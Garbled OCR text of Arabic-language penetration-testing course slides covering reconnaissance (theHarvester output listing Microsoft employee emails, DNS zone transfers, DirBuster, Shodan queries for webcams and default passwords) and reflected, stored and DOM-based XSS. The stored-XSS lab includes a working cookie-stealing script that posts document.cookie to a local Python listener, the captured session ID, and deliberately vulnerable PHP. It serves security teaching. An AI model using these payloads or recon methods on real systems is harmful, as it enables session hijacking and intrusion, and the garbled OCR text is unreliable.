
auppor° microsoft.com

Llp.microsoft.com
S. mirro oft.com
a.microsoft.cocm
office.mlc oft.com

python subbrute.py -h -s [path to file.txt]

profile_microsoft _com
member._.mic rosoft .com




theHarvestar Tool J a¢é

<3¢l SubDomains J) e Enall 223505 31aY) 634

theharvester [options]

Domain to search

Limit the results to work with

Data source (bing, google, linkedin, pgp, all,...)

Qutput to HTML or XML file (optional - good for long lists)
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)

"

200

theharvester -d microsoft.com -b google -1
-f /root/Desktop/msresults.html

~

F-mails names found:

= oss@microsoft.com HTM L

- secl I(—G" ']'il 10 SC '.i. “OIm y

e joakim. karen@microsoft. com

« Edvard. bergstrom@microsoft.com
e dinel@microsoft. com

- cormmac@microsoft. com

= [@microsoft.com

« hiballan@ microsoft com

= thomkar@microsofi.com

e antr@microsoft.con

= simonpj@microsoft. com

Hosts found:

names IPs. ..

Lcrosoft
ydows .mic .con e 72.247.197.45: www .microsoft.com
commerce.microsoft.co - 1.170.119.140:windows.microsoft.com

]
8.62.198.20.commerce microsoft. com

e 2 17.104.65:support.microsoft.com

°
r—
'-
[

235.177.14 /:azure. microso ft. com




linkedin

TheHarves . . ) )
Cod=d b i -istian Martor
Edge-Secu - arch
—martorsLl L e 2 3 security .com
L S 0.400;0000000004405‘40000‘00&40&&0005‘0000400

<
S
=
S

T HLY
vi JJ

mer
Fmanc
lavid




DNS Zone Transfer zlaas agd

DNS ' DNS Server 1 « alall Clilull 32e 8 (e 43 jal mllasaall 3¢ 2ady o
Server 2

nslookup —type=NS mydomain.com

<[>

nslookup
server [NAMESERVER FOR mydomain.com]

ls —d mydomain.com
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C:\>n=slocokup -type=NS elsfoo.com
Server: gncglﬁ public~-dns~-a.google.com
Address: .

Non-authoritative answer:

elsfoco.com nameserver ns.elsfoo.com
elsfoo.com nameserver ns&.dnsmadeeasy.c
elsfoo.com nameserver nso.dnsmadeeasy.
elsfoo.com nameserver ns 7.dnsmadeeasy.

google-public-dns-a.g00sle.com

dress: 8.8.8.8

> server ns.elsf oo com

Default Server: foo.com
Address: 74.50. lﬁu.1Ph

> s d elsfoo.com
Cns.elsfoo.coml]
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com.
elsfoo.com

axvvtCyTIZEA4_S-Q*

elsfoo.com.

) o

ns.elsfoo.com bernyreed.elsfoo.com. (41 9980 600 8&

ns6.dnsmadeeasy . com

ns /.dnsmadeeasy.com

ns.elsfoo.com

nso.dnsmadeeasy.com

S altl.aspmx.l.g00gle.com
altZ.aspmx.l.g0ogle.com

10 aspmx2.g9o0o0alemail.com

10 aspmx3.gooslemail.com

] aspmx . l.gocagle.com

"google-site-verification=omyrSNazb1lHYCs _

HAX A AKX NNNNO

R TR e e e A e e A )
—

—
e
—

=spfl include:_spf.google.com “all’

208.80.124.13
208.80. 126.13

nsS.dnsmadeesasy . com.
ns 7.dnsmadeeasy.com.
Nso.dnsmadeeasy.com.
nsS. dnsmadeeasy.com.
admin

intranet

ns

private

W

elsfoo.com.

(01> 2 T e > Tr T Tx T
I»
pod
-

o
P

:cém bernyreed.elsfooc.com. (41 SO0 €00 8&




<[>

dig @nameserver axfr mydomain.com

N

—

* nameserverisanameserver for mydomain.com

* axiris the mnemonic opcode for the DNS zone transfer.
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@ns.el

9.8.49-rpz2+rl0
Tound)
options: +cmd
26006
<60H
<604
2600
26006
26006
=606
=60E
=000
26006
2600
260036
.com. 26006
dnsmadeeasy.com.
NsS.dnsmadeeasy.com.
NnsS5.dnsmadeeasy.com.
admin.elsfco.com.
int ranet .elsfoo.com.
Nns .elsfoo.com.
orivate . elsfoo.co
www .elsfoo.com.
alsfoo.com.
;3 Query time:
SERVER: 74.5
WHEN: Tue
XFR size: 22 records [(massages 1, bytas 200)

~
[

91%’cn.nuw. bermy elsfoo.cam. 41 S606
.dnsmadeeaasy.
.dhﬁra:cnamy.““

e e B e e
— - e e S

-
—

dapwxa.gnugln«s"}.
10 aspmx3.googlemail.com.
aspmx.l.google.com.
‘google-site-verification=omyrSNazblwWYCs DW29VG] =M
"v=spfl include: spf.qooqle.com -all”
208.86.124 .13 =

208.830.126.13

B | agih L S I
— — — . .
'}\U
~ .

-

g
—

-

208.94.148.13
2600:1BCD:5::
.50.103.103
.50.103.103
.50.163.103
.50.103.103
‘.JD.-Cj 103
ns.elsfoo.com. my l.alsfoo.com. 41 S00

- L M W
B e e e e

B B B B B

el el el e el el e e el e e Bl e e i
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L

Virtual Hosts J) ~¢®

Virtual Hosts = Shared Hosting Environment
host / &8 se (e S| Jesg 2a) 5 P address 4 il &) Eua o

www.foo.com

Here for example
there are multiple
virtual hosts admin.foo.com 192.168.3.2 mail.foo.com
associated to the IP
address 192.168.3.2.

extranet.foo.com
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/hostmap# fierce -dns eleamsecurity.com
DNS Servers for ﬂ]n:frfﬁ“Ufi‘” com:
nsl.elearmsecurity.co
V5.6~Cc'1adhb'lty.hbﬂ
ns5.dnsmadeeasy .corn
nsb.dnsmadeeasy .com
ns/.dnsmadeeasy .com

Trying zane transfer first...
[esting nsl.elearnsecurity.com

Request timed out or transfer not allowed.

Testing ﬁS.Q>GQPﬁQGLLFiTy.(Ch

Raquest timed out or transfar not allowad.

nsS.dnsmadeeasy .com

Request timed nJT or transfer not allewed.

sJ dnsmadee

vaquest timed out or transfer not allowed.

-

ns7.dnsmadeeasy .com

Request timed out or transfer not allewed.

in zone transfer (it was worth a shot)
old fashioned way... brute force

DNS..

Now oaff~ln‘nc 2280
) 2”C.Cb 82 Dlog.glaarhscaur;:y.roﬂ
C 56.82 community.eleamsecurity.com
5.231 lib.elearnseci
members.ale

] ¢ acurity.com
Ylui.elearnsect Ir1TYy.com

Fierce J) 31l ag

Virtual J) 48 jeal 3101 28 adiid o
IP address J) (i Ao U Hosts



DirBuster Tool J) ~¢

el 8 Al clalal) CalESY andiui slal a e

Tl
OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing b e 2 e b DirBuster 1,0-RC1 =~ Advanced Options
DirBustar Opitons
File Options About Help | HTML Pareing Opticoe |,  Authenticatien Opticns | Hitp Options | Scan Optiens
Target URL [eg http/fexample.com:80/) File extanmons to not precsss
http/targatapplicatian sitar P9, 910 | pog, Loo, tifT, pag b p
Work Method > Uee GET requests caly () Aute Switch (HEAD and GET)
HTML alements to extract links from
Number Of Theeads =3 10 Threads [ Go Paeter
HTML Tag Attributa |
L) hraf
Select scanming typs {+) List based brute force () Pure Brute Force lt_mg !f_';r
cem wten
Fila wath hat of dira/files sCript e
[en | | Ly &0 e
| |4 Browsa | | @ List tnfo LYo e
frame =T
Lhar set | -ZA-Z vl Minlengih (L Max Lengih |8 ambed sre
Selact starting optons: (¢) Standard start potnt (O URL Fuzz
v| Bruta Force Dirs v Ba Recursiva Dtr to start with |fadmny | Tag Attribute
v| Bruta Forca Filas [[] Use Blank Extensica ~ File extensicon [pnp I : LY
R f tml i
I |
&) Bxit [ I start | :
Cancsl o Ok
Please complete 1he test details % | L&

Ahmed Hashem El Fiky



Shodan HQ &85« a¢d

s ddde da giadl Ports J) 5 alall & 55 e Caagll e il slaall pead addiiug aBge s o

el il gladdl (ye la e

Shodan searches includes the following protocols

HTTP(S)  RDP
SSH e FTP
SNMP ¢ Telnet

MySQL / MondoDB * andfew more
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1. Find Apache servers in San Francisco:

apache city:"San Francisco’

.,.HL_.AJ Q

) Explons & Downdoad Resuis i Create Report

104.236.142.160

Dt Oowan MY | 397 Moved Peree
49,771 A .
B Unoed Setes,  Ser Saeeosce B
Thetalls — l
 § -
’ )
-
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2. Find Nginx servers in Australia:

nginx country:"AU"

o svooan NI - -

) Fxplois % Maps © Share Search & Dowrload Results i Create Report

Apache2 Debian Default Page: It works

124,512

Sefl ayes Techrabupes -

t -~
‘A..u.u-. Sptney w1 L =T vt test tal
Detain "
4 pr
b ot
t- %

Ausralia 124 513
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3. Find GWS (Google Web Server) servers:

"Server: gws” hostname:"google”

R Exploits ® Share Search & Download Results | Create Report
S 302 Moved

OF Networss Lida

- o, Coirve

Dwtals

301 Moved
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4. Search with CVE ID

vuln:cve-2014-0160

@ Explonts & Downdoad Results | Create Report

37.203.96.161

1 1 3 693 AN Telecom d 2 Sarajevo 8 55L Cormificare WTTF 1 200 O
Dy -
N & e -
N Bosnis an7 Heegosine T e e
Deeniin “ppot ) : ' ' )
» » F ortiret ET - e
s B | > ¢ . '
w Heartbleead Raaas s oh- TS
------ arve FGT80 1302744 ‘ . i
Forbrwt )
- . N——
Supported SSI Verssons
SS8LVE. TLOv!. TLSvY 1. TLSv1 2
Unsed Slates LRl Defthe Heliman Parameters
hea 8 194 b ovgerpe et RE_J240% - w
(werranrvy 2
france ER e
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Here are some other basic filters which you can easily use with Shodan:

e city: find devices in a particular city

e country: find devices in a particular country

® geo: you can pass it coordinates

e hostname: find values that match the hostname
e net: search based on an IP or /x CIDR

e os: search based on operating system

e port: find particular ports that are open

e before/after: find results within a timeframe
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For Webcams —

e (Code: Server: SQ-WEBCAM

e Link - https:#fwww.shodan.io/search?query=Server%t3A+SQ-WEBCAM

For Cams —

e (Code: linux upnp avtech

e Link - https:#fwww.shodan.io/search?query=Ilinux+upnp+avtech

For Netcam —

e (Code: netcam

e Link - https:#fwww.shodan.io/search?query=netcam

For Default Passwords —

e (Code: "default password”

e Link - https:#www.shodan.io/search?query=%22default+password®%22
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<3¢l Functional Graph sl

Our first step in this case will be to consider the overall scope
of the application:

* Whatis it for?

* Does it allow user registration?

* Does it have an administration panel?

* Does it take input from the user?

* What kind of input?

* Does it accept file uploads?

* Does it useJavaScript or Ajax or Flash? And so on.
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The following questions should help guide you:
* What is the purpose of the website/web application?

Sell online?
Corporate online presence?
Blogging?

e What seems to be the core of the website?

Selling products?
Do they sell memberships? digital contents?

* Doesitrequire login to perform certain actions?

e What are the main areas of the website?
Blogs?
eCommerce area?
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p Y ~ Login
y Blogs S
\ (Wordpress) 1

l ,

eCommerce Memers Area Download Area
(zenCart)
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mamc :

Qrpenicalon Foo inc,

Date: 1030 2000

Information

= Has redirections

.m Has user's supplied data

Information
gathering - phase BLOGS
—gp= DI0gS. TO00rginc,. com
MAIN SITE eCommerce

www. fooorginc.com

= buy.fooorginc.com

s Has interaction with the database

o Has login

_.I Has client side validation

Download Area

g veww fooorginc.com/d)
ownloads

I

g Has interaction with the databasze

o Has interaction with the database

\
:

Has login
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A Jiasll
XSS J) 5%l

—al ‘gl
38l adla daal /a0
il Jgatl) g el glaall el (5 jLikind
Ahmed.Hashem.EIFiky@outlook.com
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XSS 835 (a Lo e
XSS & s d»uuﬁ .
XSS 3 i g) sl o

5 il )l o

3 Al (pe dolaaldl o



XSS 3 s 4 L

ol sl 2 o gy Cay Sy e (a e o (Al ) e langl jedl e XSS 223 0
Gy S e blaaall Al dly I Jeaty dladge o) ) el 5l sl sa e 48
javascriptd\z\ﬂ&u)&aw&)&uu\b gﬂaﬁj.quﬁdp;.d ) 4c y )
\_ﬂ;mj\‘jj\J}.\J}A}SML&\Ucgsjj\ﬂ\.ajmdzﬁyd)@\ul@_\myxss L_s£°
?@hej;@ﬂdﬁyj\jjé\@)\;wdmgjﬁyuﬁoﬂwwacmj;sm.uu.\.ﬂ\
flnd laaY Ja «Cross Site Scnptmg J Jbaial A XSS 5@
J.\L\\.A\.AJ&GCSSUJS.\L)\ )LAJA\}”\.A.\.\.\XSS djs.\o

X «(C Uﬁd‘M‘é&JCMJM\ CSS LWY\MU&}DJ&S\WU&M&Y@A .
et Sl o A e as (A g tb\s.d\ DJMMJABAYL\L;&_\Q’J\} Cross (e al¥a
XSS « | bl Cross Site Scripting



XSS 525 Jaxd oS

ekl Gl adsall Cladia (g giaad duaed A L sha (a8 XSS @l i alai LS
Loally o586 GBS Jgvascript , ) HTML 2lsS) Gia Gapb e @l 5 aadill
oozl aal A cﬂyJ\e Lalall javascript s html ) @l e Jhaadll
deae 5 Al Dlasia Jaad Je (3 3840l 2clid XSS &l i cull Glsaia
M}JUALJL@J,_\M\.AS,umjﬂ\jw\h\stuLMY\BOijum
XSS &l yadl Jail jladl) amy g4 5 (ppeadiinll 4aldll Cookies ) s) Sessions
Jie S ST lin 36l 43 t.\mwd\ VTR NI ENEN | KRR Ry YU S AL
Glaal & XSS A cl i o AT Sl aasiuy Laal 5 document.cookie
Stored Xss & s (e 3_adll GulS Jla 8 &8 el Ciladia

w\eﬁjmﬂdémdu)beM\eﬁum <haat XSS u\juc\.la\.m.uo

s Bk eHTML o LS Bl 4 e g eM\ e Jadall 13 Aal
echo s print Ui dsa



(...40aS3) XSS 5l Jaal S

anill dan) JIa) aadiiadl el dadia @l e Tas Jasn JBa o

http://localhost/new/welcome.html

.. (' | @ localhost/new/welcome.html
Rl

¢ Yahoo bug bounty pro...

Please enter your name :
Submit




(...40aS3) XSS 5l Jaal S

Ahmed Aboul-Ela  ~¥! el Jaxy 5
Welcome Ahmed Aboul-ELa 4l (i jay a 585 GlIb any @

Test Page - Mozilla Firefo: ro | B —

File Edit View History Bockmarks Tecols Help

Test Page

€ | @ localhost/new/welcome.php NEREY o | ‘ ~ Google P | 3 A # -

Welcome Ahmed Aboul-Ela

Direct Connection
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(...40aS3) XSS 5l Jaal S

SIS S html code Laca xinl 13) 5 e

Source of: http://localhost/new/welcome.php - Mozilla Firefo:

File Edit View Help

<html>

<head>

<title> Test Page </title>
<style type="text/css">
body { font—-size: 10pt; }
</style>

</head>

<body>

Welcome Ahmed Aboul-Ela
</body>

</html>
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(...40aS3) XSS 5l Jaal S

html JL ek tags = « snaae Land dadiall Ui 13 Ehany Cogo 13 oK1 Jian @
<h1> Ahmed Aboul-ELA </h1> a3} 134 Sla

File Edit View History Bookmarks Teools Help

Test Page

.. (‘ “U localhost/new/ welcome.php

Welcome
Ahmed Aboul-Ela

Direct Connection




(...40aS3) XSS 5l Jaal S

S muay Cog 3 jall 338 html code o) jaiuls L 131 e

F —1h|

Source of: http://local come.php - Mozilla Fire =
File Edit View Help

<html>

<head>

<title> Test Page </title>
<style type="text/css">
body { font-size: 10pt; }
</style>

</head>

<body>

Welcome <hl>Ahmed Aboul-Ela</hl>
</body>

</html>
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(... 4daS5) XSS & yad Jaxi as

ialall tags o Ussias sl 4US Niad | 2 sn gy A Wpal i oY) 131

a\ﬁ\hﬂeﬁﬁﬁju&\w\a)uﬁ\&M\R@QMM\ htm! Ju

}M\geﬂwd&uwumjujﬂml\ d&.,dbo\m)ueu}w}!\@html
HTMLJ\A‘\M\AJ‘)S\LA‘;LS}-’MM&“‘y\U‘uAdSMLE\ ujdoy\_\.qé\_a)@_b\

J gl (ya jw\éeda&.ma”w‘aaﬁ”h\ucdjw\wm JAMUY\ujs:ao
alla GA (“'“y‘ J;\ e dj}umj\ U\A Al 33a uﬁ html uﬁ (u-nY\ J\.@.ﬁa\
echo 412 & html & asY) Jlel) (e Jyswedl 5 php m)-md@POST $



(...40aS3) XSS 5l Jaal S

<html>

<head><title>BxAbdullah LAB | XSS</title></head>
<body>

<form action="" method="post">

<input type="text" name="name" value="" />

<input type="submit”™ name="submit™ wvalue="Submit™ />
</form>

' Irmbhn
- g o

if (isset($_POST['submit'])) {
$name= $_POST[ 'name'];
echo "Welcome $name";

</body>
<html>
Ahmed Hashem El Fiky



XSS 5y &) 53l

Reflected XSS -
Stored XSS
DOM-based XSS -



Reflected XSS 3 yad Ja=d S

MJ&}EM@A\UM&WM@AJ\u\u;\oﬂ\Cﬂ‘M\udﬁo
o] R 51 | gV

Server side

Client side °

G dladl Gl UL 5 server ) e Jxidy £ exploit JI JsY) Al de
server J sa Jaiuy)

c.q..a.ud\ rAS.\.q L Wailla ‘; client J Je Jaidy C\J exploit J) Al Al L_g .

e Jaidy 7)) exploit J 2= client side <l a8 » Reflected XSS J c—r\yu .
) e



(...4lSS) Reflected XSS 30 Jaad oS

B Jaiig Las &aal 5 cNon-persistent XSS <lXS i 5 Reflected XSS
Jla )b o s2d (Ulall 3ac 8 & Gy Sl (33 ) Aaladl (90 a8 gall A (g2
138 535 AMA e sl Olie e e Ll ) psile Cay Sy U sade o sall Layl
L e duaal) Jiay e s cbase Judisndl adlge o 5 Lo aige e daih )
uéde\dméLﬂbjmcaﬁ\a_mM\meuuj j.d\uj\mmm
A Allens 2ldll ol KeyLogging JMA (= sl Cookies 48 s e L oLy

2. User clicks the link 3. Browser sends the

and it is executed in private data to the
the browser attacker

USER 1. Attacker sends ATTACKER
malicious link



(...4kS5) Reflected XSS a0 Jad oS

T AUl JSEL ¢ S Elaa¥) s i reflected XSS J) ks o
request . J Jun 5 Gladlinput J & exploit ) Jaa aaleall =Y o
response J) Jup asy OAA e Jalahy 5 request J) aliw server JI- Y e

CJ‘ HTML,Javascript ... 4 u)S.\ \J DAl e @\J Lﬁm response Jl- Y e
Ll Y javascript  J) (w ol \-m N response J) (8 3aea gall  aliall

Hladl input J @ javascript code

D javascript code J) Jxids a5 parsing A s 5 35S Al #) ) xialall €
e;\.@_d IPAER
Y reflected Whewd Gl 1X Lie 3 ULl 3ac @ (st daas Led La dolaall a8) Jaadl o
9 Jala uﬂ\ﬁ L) 3ac 18 L;. haayy W s client 3 &> 2 s server d] Z 5 JAaadl
W°JJSMUJSALAUJLLA@)‘LJJAM‘MQAJJJSM‘JJAMGL“TLJM\U\
(S5 \




Stored XSS 3 2 Jead as

Bidall a8y Lalas 3 )28l p38 st Persistent XSS: €U iy Stored XSS ¢
)aJ.w ng.mmujsuﬁe.uc_mp d\.u)\_sejm CA}J\ AN J;\ d)uu.u\_\
LS BRa (e Gy Sl s g U\S «Database <Ulull sacld Lg Llle 4 CA}J\
ﬁd\&ﬂ@u@)ﬂ\@u&g\wj\cdu‘)d&ésj\c@}d\@uw\
U.Ao\.ad\s]\e.\ﬂ\bjs&PGJ\M\UAM}U@MMqu\AM\aLBé
(« Blog mjmmﬁuﬂd\_\d\d.\.wéc MJSJ\\JAM(&\JL_}U_\J\ML\A
eum,s A S o Jag Goidadl Jaa ebiylas ) A dede CVEL yis Jal
JJ\) Lf\’ \AH\ uj\_\j\_\j cuh\_\.\j\ ombéuﬁﬁumﬁ\ KY.Y “_1.\.1)5“@\_\&

oLl Gl Lgaa s ) 8306 (e lidetl) Jyand st Glillie (in e L




(...4LSS) Stored XSS 8 Jand as

Cross Site Scripting(XSS)

POST / comment.php?
INSERT ... text=<script>alert(1)</script>

'<script>alert(1)</script>"'

— 0O
Server ========p ‘
R 4 Client 1

- <html>
&
>
,l Comments
a <script>alert(1)</script>
” .o

<htmli>
DB SELECT ... => O
'<script>alert(1)</script>"' ‘
Client 2
oG
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(...aLS5) Stored XSS 3a8 Jaad as

LS O 5So #1) Slaa¥) s i stored XSS JV Al 8 e
request J) Ju 5 ladl input J 2 exploit J) Jay aaleadl =) o

input J) 4l Jany laaey A ae Jalady 5 request J) oiw server J)- Y e
4l Lia &jm).d\ & Jaaall cresponse JV ey pamy Glilull 3ac 18 uﬁ liadll
0 exploit I lesd Jxidy W dadeall o ()5S L JAIY) L Dl daiiall (Ko
Ll Clas S 5l Jis 438 form  J) 5 contact us form  <udl 5 a8 s calin Sl
)M\QJ@MCU‘M\&dmMC\JudMY\ubMJ\ JAXS
s 5o JFaiu) aly Sae UL 5 (Cila jaall daaa 5l 4 IS L Jla
reflected XSS J! (Se e social engineering 1 4alall



(...aLS5) Stored XSS 3a8 Jaad as

L gsvinput J) oaxd 1) Al Asdiall) Aliadl dssall Jay client JI- Yoo
javascript J Jxisy a5 parsing A e 5 258 Al Al miaid) -€ e
aleall adas W code
O e e @i dey Jiidy 5 asll A3 25 exploit J) (See Ua 4l 13 o
oo ool padd e SIS Cilagiul oy (Sae saa Lilla & Ly creflected

reflected XSS J!

Victims Web Browser
executes XSS Payload

Attagkers Web Web Application stores
rowser the XSS payload
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(...aLS5) Stored XSS 3a8 Jaad as

aly aal izl request J) duon 1 Wl ¢ contact us form 48 5 a8 s Laic

Lo 5 5,la¥ A gl Jhoe oy Lo Lt Wil 530530 (e i (10 &0 )1 a8 sall 5000 1

9 odﬂ9gsiya a‘)a_ﬂ\ CilS \5J L.JLA{}J:;AJ\(_}A 0‘913.'4§u£5 ctxq;a C:‘~) P ¢ ‘k§SLSLc_4\4{5ia_a Laie
XSS J) Jlex (30 (598 Lima (i #1 ) slad) JUl) 8

require c-w-:e('l::-“.p'*:.'jjv_; L_Amls )‘Q Ué d‘a:‘ :\Aé‘aj JJSM *

if(lempty($_POST['title"]) && l!empty($_POST['title'])){

gtitle = $_POST['tit ]: 4\_11\% O\S ‘5\ Lﬁ‘:.:ﬂ:\ )\ Al JJSM
$content = $_POST[ 1t ]; : T )

$q = Sli'x-c-:::-:"epa’z:l ERT INTO contact(title,content) VALUES(2,2)"); U\.ﬂ\ d)&d C\J POST requeSt
£g->bind_param(“ss",%title,%content);

£g->execute(); J ) Q_U\.S ‘J\ d—‘w C\J ) 4—\; szj‘
¢

q->close(); (\Y 9 4%*4\3 Jsaall

el



<html>
<{head>
<title> bad cod
{/head>
{body>

<form action="#"

</form
</bod)
</html

(...4LS5) Stored XSS 8 Jand as

ed website </title>

method="POST">

xt" name="title" placeholder="title >br /><br />
'‘content” placeholder="tell us anything">»</textarea><br
bmit alue="Se

Ahmed Hashem El Fiky

/><br />

5 <laill e a Sl Tads
Lal B.J:\éd\ c—\-\-u:\ﬁ\ % Y.
3 AN ¢ pdse s
lliss g pae 28
(e Qllal) 8 yuall
best J ab 22l s

Jen 132 5 practices
dile Jadll



(...4LSS) Stored XSS 8 Jand as

< C @® localhost:8888/storedXss.php

title

tell us anything

Send !!
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<html>
<head>

(...4kS%) Stored XSS 328 Jaad as

D e dadia L aadiidl 0 KU sa 138 (admin J) Asdia Capdi gla e

<title> bad coded admin panel</title>

</head>
<body>
<a href="some

or />

T

<a href="some

<br />

<a href="some
or /><br />
{table border
<tr>

/path”>some interntal link</a>

/path”>some interntal 1link2</a>

/path”>some interntal 1link3</a>

="1">

<td> title </td>

{td> content
</tr>

</td>

' \

I~ .. =14 ™~ -'\' .
require_once('con.php');

f

£q = $link->query('select * from contact') or die(mysqli_error($%$link));

while($r = mysqli_fetch_assoc($q)){
cho "<tr><td>".$r["title"]."</td><td>".%r["content"]."</td></tr>";

(14

{/table>
</body>
</html>
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é

some interntal link

(...4LSS) Stored XSS 8 Jand as

C (® localhost:8888/admin.php

some interntal link?2

some interntal link3

title

content

test

test

test

test

test

test

WW

WW
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(...aLS5) Stored XSS 3a8 Jaad as

L) Goall (S reflected XSS J) Jie LY ailll 4y )l Jualds 8 Jao) #) ) L b
J Ol e S e Jaidy (S U W Jis exploit JB Julb 5 cllull sacld | 8 45 3.
L AU g 1) ol 4SS A1 N exploit

o admin J sl éﬂ\ dadall HTML code J) W cuss ¢ «’S;"M da ol Hlue W oy
B3 9a 50 13 session Jl bk 5 exploit J saie Jaidl I paddll

¢ 3 € cLd) 8 Lady (Kas html code JI ¢ 4aaliad (il mal g ad il uSaill a gl L
L Aena gt 56S0 (Sae Aladial G e ) Baaa Gilalaad G L)

J 5 lre g g sall na Lo Ja 8 (S) (session hijacking s« Olie session )
agl) e Baa Gl glas Linie (685 ~1 ) expired W 48 yhas session

4 g request J) o python  Jb sea seript Bae e Glaslaal) alins lie cula
console J! e




(...4LSS) Stored XSS 8 Jand as

import socket python d‘ J)S j.Q \..JA

host
port = 8899

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
try:
s.bind((host,port))
except socket.error as e:
print(str(e))
print('Listeneing on '+str(port)+'[*] \n')

s.listen(3)
cenn, addr = s.&acc
4

data = conn.recv

b
~~
Q0
A1)
rt
1]
S’ ™

Ahmed Hashem El Fiky



(...aLS5) Stored XSS 3a8 Jaad as

D G Sl s 7

128 5 ~aldoUS yihost J cimport L g 1S (lie socket  J) 4uiSa aadlui #) )
G pd) Jlaty) adde eLuu C‘J L._’%JJ\ port J ¢ 8 s interface Lﬂg\ PRENNE C\J L) slixa
a Y sedlaic nld port (sl aading a8 il laala (s2ic addiue pe 43V 134 port JI
port J 1aa

ol A aalid e A port J) s host Jb Ly sw Al socket J) Llay ) Loy

Ll a1 Llé 5 (8899 Alla (2) olisia) M port J (e Iistening 5 s Ly La ey
JJQJ‘\MAMJMLMLMJ‘\JSUAJJS‘JJQ&‘Q-\S}M i 2 YLl ¥ Jasii jaas
Jlaty) lla ¢ laladiu) AV data J Laads Loy Slaic S Al e aatay AU



(...aLS5) Stored XSS 3a8 Jaad as

138 35Sl Clad) jnput JI 8 Jaxi 21 Llils la

t>
var xhr = new XMLHttpRequest();

{scri

o

o

xhr.open('POST', "http://127.0.0.1:8899");
xhr.send(document.cookie+' -- -'+document.location+' -- -- -- '+document.head.outerHTML+document.body.outerHTML);
{/script>
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(...aLS5) Stored XSS 3a8 Jaad as

Dol g Al exploit J) 7 s

destination J slihacl 5 post request Jduw i ) Wil 4l LWl 5 apaa Jlail Uy g
(python Ju eliss y» A listener J) 2 )

dasall s Ll 5 session hijacking s« Olie cookie dI dw_p 4 Lk
Abadl) daiiall 38 lalla g (aSaill Al lse Lo allai i) Al

L QS S ) L sall exploit JI

listener J) Jai 24 J )

Listeneing on 8899[*]
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(...aLS5) Stored XSS 3a8 Jaad as

< C ( localhost:8888/storedXss.php

exploit J) Jai Lase,
exploit form 455
<SCript>

var xhr = new XMLHttpRequest();

vvvvvvvvvv

vvvvvvvvvvv

'+document.location+' -- -- --
‘+document.head.outerHTML+document
.body.outerHTML);

</script> 4

Send !!
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(...aLS5) Stored XSS 3a8 Jaad as

ade slialls ) (8 juy Ll g 5 adbas M Jilus )l o clidy Jas) adisall joae Lhaay
$/M\r\neferer: http://localhost:8888/admin, ph\r\ndceept-Encoding: gzip, deflate, brir\ndccept-Language: en-US, ensg=D.9\r\n\r\nw; PHPSESSID=3ofhShrvS3hbbél

njséomdcgl -~ -http://localhost:8888/admin,php =~ -~ -~ chead\netitles bad coded admin panel</title\ne/head><body»\nca href="sone/path">some interntal 11
nk</a>\nebro\nca href="some/path">some interntal LinkZe/a\nchrs\nea href="sone/path">some interntal 1ink3</av\ncor><brs\nctable border="1">\ncthodys<try\g

t title </to\nctd content </td\ne/tro\nctroctidrtest</tdretdteste/t/trctrbleste/tidtmteste/td/trmndbdteste/tntdeste/de/trdrmd
si/td<tarm/tde</tr<tro<tasexploit</td>et<scripts\nvar xhr = new XMLHttpRequest(): \mxhr, open(\'POST\',\'hitp://127,0.0,1:8899\"); \nkhe, send(docunent
cookies\' == -\"+docunent, locations\' == == == \"+document, head  outerHTHL+document  body. outerHTHL); \ne/scripto</tib</trs</thody></tablex</body'

PHPSESSID Jl bk cils 5 S5 a4 oS Cils 5 user-agent J s listener J) 43l L
oLiS Il exploit J) @il dadiall Aled () shaa3l 5 5 dbiaall dadiall 48 N Ll Gl
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Dom-based XSS 5 y2i Ja= CaS

reflected xss <l oo W segia 8 1 3 Caliss ¥ Dom-based xss <l _yxd ddalusy o
& DJSJ LaSé MUH\ P «—uw‘ uﬁ Reflected XSS ﬁ—*bu O 3 LeAu Al uﬁ E
e ) u Andin b form & O DA cu\)s c_\m L;\J\ GET $ SIPOST _ $
d\jq A eA;_u.A\ O JAdA 32l P (e u\a Dom-Based 4lla st USJ Ll ) A
& Aalall ¢y 50 javascript A JVse oo Laay) Jaadd) deliday 2 i) (e javascript A
c il Jardi g dea 51l web server i sl oAl daa p cilad

) 5 sources 4 g (? ew\ O Al A;h A 5% u—‘j\ s e Blay Cagun e

Uy 7 o oY) 5 sinks & html 8 oleda) 5 Janall 1 deliday agai Al ) sall
XSS &l a5 ) elld aay 6358 ) Sy af (5 5 5sinks s sources J) s



(...ALS3) Dom-based XSS 3_ad Jaad cas

fSources Jls2 (2 Lo

Jaae Jla )b a8 ) S LA e AU g javascript 4x (A J) s 2 sources ) Jlga
o Amiall Tl A e s ye paiiesall (e Janall € Wl AMaT) o2 8 dadiall )
GJ\_J\ Jayl H) Lal M. yrl

https://site.com/home/file.html|?name=ahmed#Securtiy4arabs

dad.all J\.MA.LQSJ\ &&hw\h\) o;bmejs.m u‘ d\jﬂ\ AT d)\AUAuSAAM UAS o
<UiS securitydarabs zU (iledl sl ahmed Jaaall au¥l dad 5l home/file.html/
Cilo anl g dadiall jlue s e el el ) e 5 ol I sl Jee o588 Ll
dadiall ) 4l yall parameters ) yaziall SR e dadall

s adlll Jisall 8y ke e Al javascript A (e Gl Jae Sy g 0



(...ALS3) Dom-based XSS 3_ad Jaad cas

SalSIL Axéoall oyl 5 400 5 o685 ) g2 @

document.URL °

<SCript> document.documentURI ¢
slert(location. href): document.URLUnencoded
- | document.baseURI ¢
</script> i
location ¢

location.href ¢
D S S sl 0 S e (g giat dnden S o 681 @l e Jlia o



(...ALS3) Dom-based XSS 3_ad Jaad cas

IS Aaill o5 g Andeall Qs o g8l @lld aay o o

Mozilla Firefox $
File Edit \_liewAHigtoryl _B_ookmarksllools Help
™) Connecting... G
\g @0 http://localhost/page.html N Y7V X . Ry - Google p’ 3 A = ~
http:/Mocalhost/page.html
OK
Read localhost
X: Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

L@&Méﬁ\&d\hb&gﬁmsgbox el Cuald daaall ) JaaDi e
\A)SLMEJ\d\;ﬂ\@b@d\ﬂ\w&uﬁ)htm| uJALé‘\_}L\SJL\Aﬁ\.AS

dadiall sl 43l 58 a8 5 Al alla ) okt o) | JelSIb dsdall Loyl ) jedai Cigus
domain a5l L) Al 053 Jaid

location.pathname °

e.uh location.href 4lall e.u‘ daad Jlada) ¢ el M\ A S sl e‘di:\.u.\ i
-aUil) Al Wl i al)al)



(...AkSS) Dom-based XSS 3 s dm S

Mozilla Fi
